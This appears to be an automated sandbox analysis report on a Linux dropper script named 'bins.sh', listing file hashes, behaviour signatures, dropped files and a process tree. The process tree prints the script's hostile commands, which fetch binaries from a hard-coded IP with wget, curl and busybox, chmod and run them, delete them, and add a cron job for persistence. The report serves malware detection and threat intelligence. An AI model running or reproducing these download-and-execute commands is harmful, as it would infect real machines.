Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 23:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    71ec0aa550f7409c7f45906fca045cb1

  • SHA1

    a0f270335831919a5cd9f3ebb71d0631010c3564

  • SHA256

    8870b3b28e3a997482b2096cd8c1a2064761eccf648a3f57bb0a58f9b9e9c08a

  • SHA512

    4a54755cf5876efadd68926b41da67c7ccbe2c3a38de832fa09a5367d8f3250c8da815e9167f6974955296680e0cd1718ec1b9802de7cf8cb5363d67b9d7bf3b

  • SSDEEP

    192:6mK6XfrfLn/YZvlfaDd9FNll+fLYmK6Xfcl:lfLnavNwd95YfLg

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1474
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1475
        • /usr/bin/wget
          wget http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Writes file to tmp directory
          PID:1476
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Writes file to tmp directory
          PID:1491
        • /bin/chmod
          chmod 777 dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • File and Directory Permissions Modification
          PID:1492
        • /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          ./dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Executes dropped EXE
          PID:1493
        • /bin/rm
          rm dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
            PID:1495
          • /usr/bin/wget
            wget http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Writes file to tmp directory
            PID:1496
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Writes file to tmp directory
            PID:1499
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Writes file to tmp directory
            PID:1506
          • /bin/chmod
            chmod 777 geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • File and Directory Permissions Modification
            PID:1507
          • /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            ./geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:1508
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:1510
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1511
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:1512
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1513
                • /bin/rm
                  rm geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
                  2⤵
                    PID:1515
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
                    2⤵
                      PID:1518

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB

                    Filesize

                    111KB

                    MD5

                    ca897a38f23ec23521ce0b1b83f8422d

                    SHA1

                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                    SHA256

                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                    SHA512

                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                  • /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw

                    Filesize

                    98KB

                    MD5

                    5141342d0df8699fa32a6b066a0c592e

                    SHA1

                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                    SHA256

                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                    SHA512

                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                  • /var/spool/cron/crontabs/tmp.3APPyz

                    Filesize

                    210B

                    MD5

                    13ef28253444881d67a63a7d2b4a7b8e

                    SHA1

                    91f6e380e370934abfad809f0f5db0106d62f0d7

                    SHA256

                    a49f9eefe28a66c880ec86c7f70d3f3c2bb86d1d418efa6829c3963419235433

                    SHA512

                    4b5d5c7474d840398a3e49788fd2da610b8f4d91c2f7d8a9625050d8f2ad6ba2d0580295745c47aa5a6d5175270d9f52a9f7900782b487f685c6df4981c5d7f9